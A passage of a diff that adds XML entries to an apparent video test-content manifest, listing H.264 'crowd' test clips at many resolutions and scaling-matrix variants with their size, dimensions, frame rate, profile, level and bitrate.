+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_472x472p50f32_800kbps_hp.mp4">
+    <value>mime=video/avc,size=59552,width=472,height=472,frame-rate=50,profile=8,level=512,bitrate=728744,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_480x320p50f32_600kbps_hp.mp4">
+    <value>mime=video/avc,size=43261,width=480,height=320,frame-rate=50,profile=8,level=256,bitrate=525224,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_480x360p50f32_600kbps_hp.mp4">
+    <value>mime=video/avc,size=43271,width=480,height=360,frame-rate=50,profile=8,level=256,bitrate=525232,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_480x480p50f32_900kbps_hp.mp4">
+    <value>mime=video/avc,size=67323,width=480,height=480,frame-rate=50,profile=8,level=512,bitrate=825896,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_480x640p50f32_1200kbps_hp.mp4">
+    <value>mime=video/avc,size=91985,width=480,height=640,frame-rate=50,profile=8,level=512,bitrate=1133872,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_480x720p50f32_1300kbps_hp.mp4">
+    <value>mime=video/avc,size=101161,width=480,height=720,frame-rate=50,profile=8,level=512,bitrate=1248568,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_480x848p50f32_1600kbps_hp.mp4">
+    <value>mime=video/avc,size=123564,width=480,height=848,frame-rate=50,profile=8,level=512,bitrate=1528608,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_48x64p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=11082,width=48,height=64,frame-rate=50,profile=8,level=8,bitrate=124408,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_512x288p50f32_500kbps_hp.mp4">
+    <value>mime=video/avc,size=35969,width=512,height=288,frame-rate=50,profile=8,level=256,bitrate=434368,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_512x384p50f32_700kbps_hp.mp4">
+    <value>mime=video/avc,size=50711,width=512,height=384,frame-rate=50,profile=8,level=256,bitrate=617944,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_512x512p50f32_1000kbps_hp.mp4">
+    <value>mime=video/avc,size=75698,width=512,height=512,frame-rate=50,profile=8,level=512,bitrate=930384,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_528x704p50f32_1400kbps_hp.mp4">
+    <value>mime=video/avc,size=110089,width=528,height=704,frame-rate=50,profile=8,level=512,bitrate=1360168,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_576x1024p50f32_2300kbps_hp.mp4">
+    <value>mime=video/avc,size=189371,width=576,height=1024,frame-rate=50,profile=8,level=1024,bitrate=2351200,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_576x704p50f32_1600kbps_hp.mp4">
+    <value>mime=video/avc,size=127970,width=576,height=704,frame-rate=50,profile=8,level=512,bitrate=1583680,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_576x720p50f32_1600kbps_hp.mp4">
+    <value>mime=video/avc,size=127981,width=576,height=720,frame-rate=50,profile=8,level=512,bitrate=1583824,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_600x800p50f32_1900kbps_hp.mp4">
+    <value>mime=video/avc,size=150759,width=600,height=800,frame-rate=50,profile=8,level=512,bitrate=1868536,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_636x358p50f32_900kbps_hp.mp4">
+    <value>mime=video/avc,size=66415,width=636,height=358,frame-rate=50,profile=8,level=512,bitrate=814336,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_636x360p50f32_900kbps_hp.mp4">
+    <value>mime=video/avc,size=66797,width=636,height=360,frame-rate=50,profile=8,level=512,bitrate=819112,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_638x356p50f32_900kbps_hp.mp4">
+    <value>mime=video/avc,size=67050,width=638,height=356,frame-rate=50,profile=8,level=512,bitrate=822368,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_638x360p50f32_900kbps_hp.mp4">
+    <value>mime=video/avc,size=66658,width=638,height=360,frame-rate=50,profile=8,level=512,bitrate=817472,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_640x356p50f32_900kbps_hp.mp4">
+    <value>mime=video/avc,size=67046,width=640,height=356,frame-rate=50,profile=8,level=512,bitrate=822320,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_640x358p50f32_900kbps_hp.mp4">
+    <value>mime=video/avc,size=67195,width=640,height=358,frame-rate=50,profile=8,level=512,bitrate=824280,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_640x360p50f32_900kbps_hp.mp4">
+    <value>mime=video/avc,size=66636,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=817096,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_640x480p50f32_1200kbps_hp.mp4">
+    <value>mime=video/avc,size=92600,width=640,height=480,frame-rate=50,profile=8,level=512,bitrate=1141656,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_640x640p50f32_1600kbps_hp.mp4">
+    <value>mime=video/avc,size=127591,width=640,height=640,frame-rate=50,profile=8,level=512,bitrate=1578944,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_640x848p50f32_2100kbps_hp.mp4">
+    <value>mime=video/avc,size=169376,width=640,height=848,frame-rate=50,profile=8,level=512,bitrate=2101256,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_640x960p50f32_2400kbps_hp.mp4">
+    <value>mime=video/avc,size=197983,width=640,height=960,frame-rate=50,profile=8,level=1024,bitrate=2458848,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_64x1080p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=13031,width=64,height=1080,frame-rate=50,profile=8,level=64,bitrate=146936,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_64x1280p50f32_300kbps_hp.mp4">
+    <value>mime=video/avc,size=19229,width=64,height=1280,frame-rate=50,profile=8,level=128,bitrate=224424,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_64x1920p50f32_400kbps_hp.mp4">
+    <value>mime=video/avc,size=25921,width=64,height=1920,frame-rate=50,profile=8,level=512,bitrate=308072,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_64x48p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=11191,width=64,height=48,frame-rate=50,profile=8,level=8,bitrate=126672,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_64x64p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=11894,width=64,height=64,frame-rate=50,profile=8,level=8,bitrate=136496,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_64x720p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12853,width=64,height=720,frame-rate=50,profile=8,level=16,bitrate=144736,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_64x96p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12146,width=64,height=96,frame-rate=50,profile=8,level=8,bitrate=137200,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_704x528p50f32_1400kbps_hp.mp4">
+    <value>mime=video/avc,size=109524,width=704,height=528,frame-rate=50,profile=8,level=512,bitrate=1353112,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_704x576p50f32_1600kbps_hp.mp4">
+    <value>mime=video/avc,size=127555,width=704,height=576,frame-rate=50,profile=8,level=512,bitrate=1578496,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_704x704p50f32_1900kbps_hp.mp4">
+    <value>mime=video/avc,size=155378,width=704,height=704,frame-rate=50,profile=8,level=512,bitrate=1926280,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_720x1280p50f32_3600kbps_hp.mp4">
+    <value>mime=video/avc,size=312343,width=720,height=1280,frame-rate=50,profile=8,level=1024,bitrate=3888344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_720x16p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=13013,width=720,height=16,frame-rate=50,profile=8,level=8,bitrate=148632,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_720x480p50f32_1300kbps_hp.mp4">
+    <value>mime=video/avc,size=101449,width=720,height=480,frame-rate=50,profile=8,level=512,bitrate=1252072,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_720x576p50f32_1600kbps_hp.mp4">
+    <value>mime=video/avc,size=127327,width=720,height=576,frame-rate=50,profile=8,level=512,bitrate=1575648,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_720x64p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12961,width=720,height=64,frame-rate=50,profile=8,level=16,bitrate=146280,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_720x720p50f32_2000kbps_hp.mp4">
+    <value>mime=video/avc,size=164707,width=720,height=720,frame-rate=50,profile=8,level=512,bitrate=2042896,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_720x960p50f32_2700kbps_hp.mp4">
+    <value>mime=video/avc,size=227561,width=720,height=960,frame-rate=50,profile=8,level=1024,bitrate=2828568,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_72x128p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12260,width=72,height=128,frame-rate=50,profile=8,level=8,bitrate=137712,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_72x96p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12534,width=72,height=96,frame-rate=50,profile=8,level=8,bitrate=142032,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_768x1024p50f32_3100kbps_hp.mp4">
+    <value>mime=video/avc,size=266731,width=768,height=1024,frame-rate=50,profile=8,level=1024,bitrate=3318200,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_800x600p50f32_1900kbps_hp.mp4">
+    <value>mime=video/avc,size=155418,width=800,height=600,frame-rate=50,profile=8,level=512,bitrate=1926768,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_800x800p50f32_2500kbps_hp.mp4">
+    <value>mime=video/avc,size=207417,width=800,height=800,frame-rate=50,profile=8,level=1024,bitrate=2576768,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_848x480p50f32_1600kbps_hp.mp4">
+    <value>mime=video/avc,size=128709,width=848,height=480,frame-rate=50,profile=8,level=512,bitrate=1592920,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_848x640p50f32_2100kbps_hp.mp4">
+    <value>mime=video/avc,size=173796,width=848,height=640,frame-rate=50,profile=8,level=512,bitrate=2156512,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_848x848p50f32_2800kbps_hp.mp4">
+    <value>mime=video/avc,size=236736,width=848,height=848,frame-rate=50,profile=8,level=1024,bitrate=2943256,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_8x8p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=4102,width=8,height=8,frame-rate=50,profile=8,level=8,bitrate=37144,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_960x1280p50f32_4900kbps_hp.mp4">
+    <value>mime=video/avc,size=444087,width=960,height=1280,frame-rate=50,profile=8,level=2048,bitrate=5535144,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_960x1440p50f32_5500kbps_hp.mp4">
+    <value>mime=video/avc,size=506320,width=960,height=1440,frame-rate=50,profile=8,level=8192,bitrate=6313056,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_960x640p50f32_2400kbps_hp.mp4">
+    <value>mime=video/avc,size=203049,width=960,height=640,frame-rate=50,profile=8,level=1024,bitrate=2522168,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_960x720p50f32_2700kbps_hp.mp4">
+    <value>mime=video/avc,size=232284,width=960,height=720,frame-rate=50,profile=8,level=1024,bitrate=2887608,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_960x960p50f32_3600kbps_hp.mp4">
+    <value>mime=video/avc,size=316994,width=960,height=960,frame-rate=50,profile=8,level=1024,bitrate=3946480,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_96x128p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12483,width=96,height=128,frame-rate=50,profile=8,level=8,bitrate=140512,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_96x144p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12252,width=96,height=144,frame-rate=50,profile=8,level=8,bitrate=137624,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_96x176p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12320,width=96,height=176,frame-rate=50,profile=8,level=8,bitrate=138368,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_96x64p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12038,width=96,height=64,frame-rate=50,profile=8,level=8,bitrate=138296,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_96x72p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12058,width=96,height=72,frame-rate=50,profile=8,level=8,bitrate=135984,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_96x96p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12575,width=96,height=96,frame-rate=50,profile=8,level=8,bitrate=142360,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_1280x720p50f32/crowd_1280x720p50f32_scalingmat_checker_1_255_hp.mp4">
+    <value>mime=video/avc,size=752803,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=9393472,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_1280x720p50f32/crowd_1280x720p50f32_scalingmat_flat16_hp.mp4">
+    <value>mime=video/avc,size=268522,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=3340448,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_1280x720p50f32/crowd_1280x720p50f32_scalingmat_flat255_hp.mp4">
+    <value>mime=video/avc,size=214324,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=2663024,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_1280x720p50f32/crowd_1280x720p50f32_scalingmat_flat_hp.mp4">
+    <value>mime=video/avc,size=268130,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=3335680,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_1280x720p50f32/crowd_1280x720p50f32_scalingmat_jvt_hp.mp4">
+    <value>mime=video/avc,size=269476,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=3352496,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_1280x720p50f32/crowd_1280x720p50f32_scalingmat_rndm_1_16_hp.mp4">
+    <value>mime=video/avc,size=376592,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=4689872,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_1280x720p50f32/crowd_1280x720p50f32_scalingmat_rndm_1_255chroma_hp.mp4">
+    <value>mime=video/avc,size=258520,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=3212568,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_1280x720p50f32/crowd_1280x720p50f32_scalingmat_rndm_1_255_hp.mp4">
+    <value>mime=video/avc,size=225246,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=2796368,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_1280x720p50f32/crowd_1280x720p50f32_scalingmat_rndm_1_255luma_hp.mp4">
+    <value>mime=video/avc,size=257934,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=3205248,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_1280x720p50f32/crowd_1280x720p50f32_scalingmat_rndm_240_255_hp.mp4">
+    <value>mime=video/avc,size=213338,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=2649232,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_1920x1080p50f32/crowd_1920x1080p50f32_scalingmat_checker_1_255_hp.mp4">
+    <value>mime=video/avc,size=1758390,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21963280,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_1920x1080p50f32/crowd_1920x1080p50f32_scalingmat_flat16_hp.mp4">
+    <value>mime=video/avc,size=602885,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=7519960,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_1920x1080p50f32/crowd_1920x1080p50f32_scalingmat_flat255_hp.mp4">
+    <value>mime=video/avc,size=469126,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=5848024,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_1920x1080p50f32/crowd_1920x1080p50f32_scalingmat_flat_hp.mp4">
+    <value>mime=video/avc,size=603886,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=7532608,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_1920x1080p50f32/crowd_1920x1080p50f32_scalingmat_jvt_hp.mp4">
+    <value>mime=video/avc,size=608215,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=7586712,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_1920x1080p50f32/crowd_1920x1080p50f32_scalingmat_rndm_1_16_hp.mp4">
+    <value>mime=video/avc,size=875516,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=10926400,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_1920x1080p50f32/crowd_1920x1080p50f32_scalingmat_rndm_1_255chroma_hp.mp4">
+    <value>mime=video/avc,size=577624,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=7201344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_1920x1080p50f32/crowd_1920x1080p50f32_scalingmat_rndm_1_255_hp.mp4">
+    <value>mime=video/avc,size=484586,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=6038096,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_1920x1080p50f32/crowd_1920x1080p50f32_scalingmat_rndm_1_255luma_hp.mp4">
+    <value>mime=video/avc,size=575106,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=7169872,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_1920x1080p50f32/crowd_1920x1080p50f32_scalingmat_rndm_240_255_hp.mp4">
+    <value>mime=video/avc,size=467729,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=5829096,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_3840x2160p50f32/crowd_3840x2160p50f32_scalingmat_flat16_hp.mp4">
+    <value>mime=video/avc,size=1507527,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=18828000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_3840x2160p50f32/crowd_3840x2160p50f32_scalingmat_flat255_hp.mp4">
+    <value>mime=video/avc,size=1063903,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=13282744,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_3840x2160p50f32/crowd_3840x2160p50f32_scalingmat_flat_hp.mp4">
+    <value>mime=video/avc,size=1507410,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=18826672,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_3840x2160p50f32/crowd_3840x2160p50f32_scalingmat_jvt_hp.mp4">
+    <value>mime=video/avc,size=1571268,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=19624880,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_3840x2160p50f32/crowd_3840x2160p50f32_scalingmat_rndm_1_16_hp.mp4">
+    <value>mime=video/avc,size=2623241,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=32772968,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_3840x2160p50f32/crowd_3840x2160p50f32_scalingmat_rndm_1_255chroma_hp.mp4">
+    <value>mime=video/avc,size=1420912,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=17742456,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_3840x2160p50f32/crowd_3840x2160p50f32_scalingmat_rndm_1_255_hp.mp4">
+    <value>mime=video/avc,size=1121782,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=14003056,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_3840x2160p50f32/crowd_3840x2160p50f32_scalingmat_rndm_1_255luma_hp.mp4">
+    <value>mime=video/avc,size=1433148,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=17895408,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_3840x2160p50f32/crowd_3840x2160p50f32_scalingmat_rndm_240_255_hp.mp4">
+    <value>mime=video/avc,size=1059507,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=13226336,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_640x360p50f32/crowd_640x360p50f32_scalingmat_checker_1_255_hp.mp4">
+    <value>mime=video/avc,size=111074,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=1371944,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_640x360p50f32/crowd_640x360p50f32_scalingmat_flat16_hp.mp4">
+    <value>mime=video/avc,size=36634,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=441936,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_640x360p50f32/crowd_640x360p50f32_scalingmat_flat255_hp.mp4">
+    <value>mime=video/avc,size=34509,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=415424,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_640x360p50f32/crowd_640x360p50f32_scalingmat_flat_hp.mp4">
+    <value>mime=video/avc,size=36864,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=444944,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_640x360p50f32/crowd_640x360p50f32_scalingmat_jvt_hp.mp4">
+    <value>mime=video/avc,size=37620,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=454384,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_640x360p50f32/crowd_640x360p50f32_scalingmat_rndm_1_16_hp.mp4">
+    <value>mime=video/avc,size=57079,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=696048,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_640x360p50f32/crowd_640x360p50f32_scalingmat_rndm_1_255chroma_hp.mp4">
+    <value>mime=video/avc,size=35347,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=423000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_640x360p50f32/crowd_640x360p50f32_scalingmat_rndm_1_255_hp.mp4">
+    <value>mime=video/avc,size=34250,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=409008,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_640x360p50f32/crowd_640x360p50f32_scalingmat_rndm_1_255luma_hp.mp4">
+    <value>mime=video/avc,size=34617,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=413872,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_640x360p50f32/crowd_640x360p50f32_scalingmat_rndm_240_255_hp.mp4">
+    <value>mime=video/avc,size=33455,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=400784,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_854x480p50f32/crowd_854x480p50f32_scalingmat_checker_1_255_hp.mp4">
+    <value>mime=video/avc,size=334257,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=4161736,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_854x480p50f32/crowd_854x480p50f32_scalingmat_flat16_hp.mp4">
+    <value>mime=video/avc,size=119617,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=1479224,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_854x480p50f32/crowd_854x480p50f32_scalingmat_flat255_hp.mp4">
+    <value>mime=video/avc,size=98148,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=1210912,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_854x480p50f32/crowd_854x480p50f32_scalingmat_flat_hp.mp4">
+    <value>mime=video/avc,size=120013,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=1484312,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_854x480p50f32/crowd_854x480p50f32_scalingmat_jvt_hp.mp4">
+    <value>mime=video/avc,size=121080,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=1497632,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_854x480p50f32/crowd_854x480p50f32_scalingmat_rndm_1_16_hp.mp4">
+    <value>mime=video/avc,size=170679,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=2116048,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_854x480p50f32/crowd_854x480p50f32_scalingmat_rndm_1_255chroma_hp.mp4">
+    <value>mime=video/avc,size=116875,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=1442096,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_854x480p50f32/crowd_854x480p50f32_scalingmat_rndm_1_255_hp.mp4">
+    <value>mime=video/avc,size=105710,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=1302256,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_854x480p50f32/crowd_854x480p50f32_scalingmat_rndm_1_255luma_hp.mp4">
+    <value>mime=video/avc,size=116217,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=1433872,max-bitrate=</value>
+  </entry>
